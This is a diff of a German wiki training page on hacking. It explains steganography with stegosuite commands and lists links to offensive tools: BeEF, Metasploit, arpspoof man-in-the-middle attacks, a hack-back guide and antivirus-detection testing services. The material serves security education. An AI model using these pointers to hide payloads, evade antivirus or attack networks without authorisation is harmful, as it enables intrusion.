   * Für VM: [[https://cuckoosandbox.org/|Cuckoo]]   * Für VM: [[https://cuckoosandbox.org/|Cuckoo]]
  
 ===== Steganografie ===== ===== Steganografie =====
-Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https://www.spammimic.com/encode.shtml \\ +Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https://www.spammimic.com/encode.shtml\\ 
-Die technische Steganografie nutzt das Verstecken von digitalem Inhalt in unauffälligen Medien wie zB Bilder oder Musikdateien.+Die technische Steganografie nutzt das Verstecken digitalen Inhalts in unauffälligen Medien wie z. B. Bildern oder Musikdateien.
  
-===== Information in Bilder verstecken ===== +==== Information in Bildern verstecken ==== 
-Dazu verwendet man das letze Bit der Farbinformation jedes Pixel. Dadurch  verringert sich der Farbraum um ca 10%, was nicht auffällt. Dabei ergeben 3 RGB-Pixel ein 8-Bit-Zeichen. Siehe: +Dazu verwendet man das letzte Bit der Farbinformation jedes Pixels. Dadurch verringert sich der Farbraum um ca10 %, was nicht auffällt. Dabei ergeben 3 RGB-Pixel ein 8-Bit-Zeichen. Siehe:
   * [[https://www.openstego.com/|OpenStego für Windows und Linux]]   * [[https://www.openstego.com/|OpenStego für Windows und Linux]]
   * [[https://wiki.ubuntuusers.de/Steghide/|Steghide]]   * [[https://wiki.ubuntuusers.de/Steghide/|Steghide]]
-  * [[https://www.geeksforgeeks.org/image-steganography-using-stegosuite-in-linux/|stegosuite]] +  * [[https://www.geeksforgeeks.org/image-steganography-using-stegosuite-in-linux/|Stegosuite]] 
-<code bash>  + 
-stegosuite -e -f <Geheime.Datei> -k <passwort> <Bild.jpg> # Der Payload darf je nach Bildgröße nicht zu groß gewählt werden +<code bash> 
-stegosuite x <Bild.lpg> -k <passwort>  # Extrahiert die Datei +stegosuite -e -f <Geheime.Datei> -k <passwort> <Bild.jpg>   # Der Payload darf je nach Bildgröße nicht zu groß gewählt werden 
 +stegosuite -x <Bild.jpg> -k <passwort>                        # Extrahiert die Datei
 </code> </code>
 Hier gibt es weitere Infos: https://www.blackmoreops.com/2017/01/11/steganography-in-kali-linux-hiding-data-in-image/ Hier gibt es weitere Infos: https://www.blackmoreops.com/2017/01/11/steganography-in-kali-linux-hiding-data-in-image/
-===== Information in beliebigen Dateien verstecken ===== 
-  * [[https://sourceforge.net/p/stegostick/wiki/Home/|StegoStick]] 
  
 +==== Information in beliebigen Dateien verstecken ====
 +  * [[https://sourceforge.net/p/stegostick/wiki/Home/|StegoStick]]
  
 ====== Links und Dokumente ====== ====== Links und Dokumente ======
 |< 100% 20% >| |< 100% 20% >|
-| [[https://haveibeenpwned.com/Passwords|HaveIbeenPwned]] | Willst du wissen ob dein Passwort einfach zu hacken ist weil es schon auf Listen steht |+| [[https://haveibeenpwned.com/Passwords|HaveIBeenPwned]] | Willst du wissenob dein Passwort einfach zu hacken istweil es schon auf Listen steht |
 | [[https://pentestit.de/browser-exploitation-framework-beef-metasploit-in-kali-linux-nutzen/|BeEF in Kali]] | BeEF in Kali nutzen | | [[https://pentestit.de/browser-exploitation-framework-beef-metasploit-in-kali-linux-nutzen/|BeEF in Kali]] | BeEF in Kali nutzen |
-| [[https://www.virustotal.com/gui/|Virustotal]] \\ [[http://nodistribute.com/|Nodistribute]] | Testet Dateien ob sie von antivirus-Systemen als Virus erkannt wird +| [[https://www.virustotal.com/gui/|VirusTotal]] \\ [[http://nodistribute.com/|NoDistribute]] | Testet Dateienob sie von Antivirus-Systemen als Virus erkannt werden 
-| [[https://www.learntermux.tech/2020/01/how-to-download-metasploit-in-android-using-Termux-without-Root-2020.html|Install Metasploit]] | Howto install Metasploit in Termux | +| [[https://www.learntermux.tech/2020/01/how-to-download-metasploit-in-android-using-Termux-without-Root-2020.html|Install Metasploit]] | HowTo: Metasploit in Termux installieren 
-| inxi -Fxzd | Befehl um so ziemlich alles von einem Linux zu erfahren | +| inxi -Fxzd | Befehlum so ziemlich alles über ein Linux-System zu erfahren | 
-| [[https://netzpolitik.org/2014/hack-back-ein-do-it-yourself-guide-fuer-alle-die-keine-geduld-haben-auf-whistleblower-zu-warten/| Netzpolitik]] | Für alle die keine Gedult haben... | +| [[https://netzpolitik.org/2014/hack-back-ein-do-it-yourself-guide-fuer-alle-die-keine-geduld-haben-auf-whistleblower-zu-warten/|Netzpolitik]] | Für alledie keine Geduld haben... | 
-| [[https://linuxhint.com/sleuth_kit_autopsy/|Autopsy]] | Sleuth Kit Autopsy in-depth tutorial +| [[https://linuxhint.com/sleuth_kit_autopsy/|Autopsy]] | Sleuth Kit Autopsy In-Depth-Tutorial 
-| [[https://www.nirsoft.net/|Nirsoft]] \\ [[http://foxplanet.de/|FoxPlanet]] | Windows Toolsammlungen |+| [[https://www.nirsoft.net/|Nirsoft]] \\ [[http://foxplanet.de/|FoxPlanet]] | Windows-Toolsammlungen |
 | {{:andre:schulung:hacking:leitfaden_is_pentest.pdf|Leitfaden IS-Pentest}} | Ein Praxis-Leitfaden für IS-Penetrationstests des BSI | | {{:andre:schulung:hacking:leitfaden_is_pentest.pdf|Leitfaden IS-Pentest}} | Ein Praxis-Leitfaden für IS-Penetrationstests des BSI |
 | [[https://saymineapp.com/|Mine]] | Wo hast du deine Daten hinterlassen? | | [[https://saymineapp.com/|Mine]] | Wo hast du deine Daten hinterlassen? |
-| [[https://brechthold.contempt-it.com/2015/02/19/mitm-arpspoofing/|arpspoof]] | Man in the Middle Angriffe |+| [[https://brechthold.contempt-it.com/2015/02/19/mitm-arpspoofing/|arpspoof]] | Man-in-the-Middle-Angriffe |
  
  
 +Logo generieren: https://www.flamingtext.com/net-fu/dynamic.cgi?script=baby-logo&text=Meine+erstes+Darknet&fontname=Arcade&backgroundRadio=0